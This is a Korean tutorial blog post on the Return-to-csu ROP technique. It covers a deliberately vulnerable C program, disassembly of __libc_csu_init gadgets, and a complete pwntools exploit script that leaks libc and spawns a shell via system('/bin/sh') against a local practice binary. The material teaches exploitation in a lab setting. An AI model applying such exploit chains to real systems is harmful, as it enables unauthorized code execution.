Index
RTC(Return-to-csu) 란?
64bit
운영체제에서 버퍼 오버플로우가 발생할 때, csu Gadget을 이용하여 레지스터의 값을 세팅하여 익스플로잇하는 공격기법이다.
[그림 출처] https://wogh8732.tistory.com/156
위 그림과 같이 프로그램이 시작되면 main
함수가 호출되기 전에 start
, _libc_start_main
, __libc_csu_init
과 같은 여러 함수가 실행된다.
이때, __libc_csu_init
함수의 일부 코드를 Gadget으로 활용하여 64bit
호출 규약 순서인 rdi
, rsi
, rdx
를 세팅해줄 수 있다. 따라서, 최대 인자가 3개인 함수를 호출할 수 있다.
예제 코드 (C)
//gcc -fno-stack-protector -no-pie -o rtc rtc.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
read(0, buf, 512);
}
void main(){
write(1,"Hello ROP\n",10);
vuln();
}
main
함수에서 write
함수가 호출되고, vuln
함수에서 read
함수가 호출된다. 또한, read
함수에서 bof
가 발생하는 예제 코드이다.
카나리랑 PIE 보호기법이 걸려있지 않은 상태로 실습을 진행한다.
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x40
0x0000000000401162 <+12>: lea rax,[rbp-0x40]
0x0000000000401166 <+16>: mov edx,0x200
0x000000000040116b <+21>: mov rsi,rax
0x000000000040116e <+24>: mov edi,0x0
0x0000000000401173 <+29>: call 0x401060 <read@plt>
0x0000000000401178 <+34>: nop
0x0000000000401179 <+35>: leave
0x000000000040117a <+36>: ret
End of assembler dump.
코드에서 bof가 발생하는 vuln
함수 부분이다. rbp-0x40
부터 입력을 받는데, 0x200
만큼 입력을 받으므로 bof가 발생한다. 이를 csu gadget을 이용하여 exploit 해볼 것이다.
먼저, 우리가 사용할 가젯이 들어있는 __libc_csu_init
함수를 확인해보자.
pwndbg> disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004011b0 <+0>: endbr64
0x00000000004011b4 <+4>: push r15
0x00000000004011b6 <+6>: lea r15,[rip+0x2c53] # 0x403e10
0x00000000004011bd <+13>: push r14
0x00000000004011bf <+15>: mov r14,rdx
0x00000000004011c2 <+18>: push r13
0x00000000004011c4 <+20>: mov r13,rsi
0x00000000004011c7 <+23>: push r12
0x00000000004011c9 <+25>: mov r12d,edi
0x00000000004011cc <+28>: push rbp
0x00000000004011cd <+29>: lea rbp,[rip+0x2c44] # 0x403e18
0x00000000004011d4 <+36>: push rbx
0x00000000004011d5 <+37>: sub rbp,r15
0x00000000004011d8 <+40>: sub rsp,0x8
0x00000000004011dc <+44>: call 0x401000 <_init>
0x00000000004011e1 <+49>: sar rbp,0x3
0x00000000004011e5 <+53>: je 0x401206 <__libc_csu_init+86>
0x00000000004011e7 <+55>: xor ebx,ebx
0x00000000004011e9 <+57>: nop DWORD PTR [rax+0x0]
0x00000000004011f0 <+64>: mov rdx,r14
0x00000000004011f3 <+67>: mov rsi,r13
0x00000000004011f6 <+70>: mov edi,r12d
0x00000000004011f9 <+73>: call QWORD PTR [r15+rbx*8]
0x00000000004011fd <+77>: add rbx,0x1
0x0000000000401201 <+81>: cmp rbp,rbx
0x0000000000401204 <+84>: jne 0x4011f0 <__libc_csu_init+64>
0x0000000000401206 <+86>: add rsp,0x8
0x000000000040120a <+90>: pop rbx
0x000000000040120b <+91>: pop rbp
0x000000000040120c <+92>: pop r12
0x000000000040120e <+94>: pop r13
0x0000000000401210 <+96>: pop r14
0x0000000000401212 <+98>: pop r15
0x0000000000401214 <+100>: ret
End of assembler dump.
위 함수에서 우리가 사용할 Gadget은 다음과 같다.
Gadget #1
0x000000000040120a <+90>: pop rbx
0x000000000040120b <+91>: pop rbp
0x000000000040120c <+92>: pop r12
0x000000000040120e <+94>: pop r13
0x0000000000401210 <+96>: pop r14
0x0000000000401212 <+98>: pop r15
0x0000000000401214 <+100>: ret
이 코드를 통해서 스택에 저장된 데이터를 각 레지스터에 pop
시킬 수 있고, 그 다음 원하는 주소로 ret
할 수 있다.
Gadget #2
0x00000000004011f0 <+64>: mov rdx,r14
0x00000000004011f3 <+67>: mov rsi,r13
0x00000000004011f6 <+70>: mov edi,r12d
0x00000000004011f9 <+73>: call QWORD PTR [r15+rbx*8]
0x00000000004011fd <+77>: add rbx,0x1
0x0000000000401201 <+81>: cmp rbp,rbx
0x0000000000401204 <+84>: jne 0x4011f0 <__libc_csu_init+64>
0x0000000000401206 <+86>: add rsp,0x8
0x000000000040120a <+90>: pop rbx
0x000000000040120b <+91>: pop rbp
0x000000000040120c <+92>: pop r12
0x000000000040120e <+94>: pop r13
0x0000000000401210 <+96>: pop r14
0x0000000000401212 <+98>: pop r15
0x0000000000401214 <+100>: ret
앞서 #1에서 세팅한 각 레지스터에서 값을 복사하여 rdx
, rsi
, edi
로 mov
할 수 있다.
또한, r15
와 rbx
값도 우리 마음대로 값을 세팅할 수 있으므로, 원하는 함수를 call
할 수 있다.
여러 함수를 Chain하여 호출하기 위해서는 rbp
와 rbx
값을 동일하게 설정해줘야 하는데, cmp
전에 rbx=rbx+1
를 수행하므로 rbx
를 rbp
보다 하나 작은 수로 설정해주면 된다.
인자 세팅
rdx=r14
, rsi=r13
, edi=r12
함수 호출
r15+rbx*8(rdi, rsi, rdx)
공격 시나리오
예제 코드로 만들어진 프로그램에서 write
와 read
함수를 사용했기 때문에, 이 함수들을 호출할 수 있다.
1) bss
영역에 read
함수로 /bin/sh
문자열 저장
2) write
함수로 read
함수 주소 leak
3) system("/bin/sh");
호출
1) bss
영역에 read
함수로 /bin/sh
문자열 저장
$ readelf -S ./rtc | grep bss
[25] .data PROGBITS 0000000000404028 00003028
0000000000000010 0000000000000000 WA 0 0 8
bss addr : 0x404038
bss size : 0x8
레지스터 세팅
rbx=0
rbp=1
r12=0
r13=&bss
r14=len("/bin/sh\x00")
r15=read@got
rip=Gadget #2
인자 세팅
rdx=len("/bin/sh\x00")
, rsi=&bss
, rdi=0
함수 호출
read(0, &bss, len("/bin/sh\x00"));
앞선 스택에서 pop
되는 어셈블리어에 따라서 인자를 세팅하고, 함수까지 호출할 수 있다.
read
함수를 호출해서 bss영역에 /bin/sh
문자열을 입력한다.
이후 write
함수로 메모리 주소를 leak하여 libc를 구할 것이다. 따라서, ret
는 __libc_csu_init+64
주소를 넣어준다.
2) write
함수로 read
함수 주소 leak
레지스터 세팅
rbx=0
rbp=1
r12=1
r13=read@got
r14=10(0xa)
r15=write@got
rip=main()
인자 세팅
rdx=10(0xa)
, rsi=read@got
, rdi=1
함수 호출
write(1, read@got, 10);
write
함수로 동적으로 올라가있는 read
함수 주소를 얻어 libc 파일의 offset을 계산하여 system
함수 주소를 구할 수 있다. 또한, 주소를 leak하고 다시 main함수로 돌아가게 된다.
그 이유는 main
함수로 돌아가서 다시 vuln
함수의 취약한 부분에서 system
함수를 호출할 것이기 때문이다.
3) system("/bin/sh");
호출
$ ROPgadget --binary rtc | grep "pop rdi"
0x0000000000401213 : pop rdi ; ret
먼저, system
함수의 인자를 세팅해줄 Gadget을 찾아 사용할 것이다. 이 가젯을 통해 rdi
에 bss영역 주소를 담을 수 있다. 해당 영역에는 앞서 1번에서 /bin/sh
문자열을 넣어놨기 ret
부분에 2번에서 얻은 system
함수 주소로 셸을 얻을 수 있다.
익스플로잇
앞선 시나리오를 pwntools로 이용해 작성한 코드이다.
from pwn import *
#context.log_level = "debug"
p = process("./rtc")
e = ELF("./rtc")
libc = e.libc
main_addr = e.symbols['main']
read_plt = e.plt['read']
read_got = e.got['read']
write_got = e.got['write']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
bss_addr = 0x404028
csu_stage1 = 0x40120a
csu_stage2 = 0x4011f0
binsh = b"/bin/sh\x00"
pr_addr = 0x401213
ret_addr = 0x40101a
log.info("read@plt : "+hex(read_plt))
log.info("read@got : "+hex(read_got))
log.info("read offset : "+hex(read_offset))
log.info("system offset : "+hex(system_offset))
# 1) input "/bin/sh"
payload = b"A"*0x48
payload += p64(ret_addr)
payload += p64(csu_stage1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(len(binsh))
payload += p64(read_got)
payload += p64(csu_stage2)
# 2) Leak read()
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(read_got)
payload += p64(10)
payload += p64(write_got)
payload += p64(csu_stage2)
# 3) exploit - return to main
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)
p.sendafter(b"\n", payload)
sleep(0.5)
# 1) input "/bin/sh" - send
p.send(binsh)
sleep(0.5)
# 2) Leak read() - recv
read_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = read_addr - read_offset
system_addr = libc_base + system_offset
log.info("libc base : "+hex(libc_base))
log.info("system addr : "+hex(system_addr))
# 3) exploit - send
payload = b"A"*0x48
payload += p64(pr_addr)
payload += p64(bss_addr)
payload += p64(system_addr)
p.sendafter(b'\n', payload)
p.interactive()
16byte를 맞춰줘야 해서 ret 가젯을 중간에 하나 사용했고, RTC Chain을 하기 때문에, 두번째 Chain 부터는 rsp+0x8을 생각해서 페이로드를 구성했다.
[익스플로잇 코드 실행 화면]
ref
Uploaded by N2T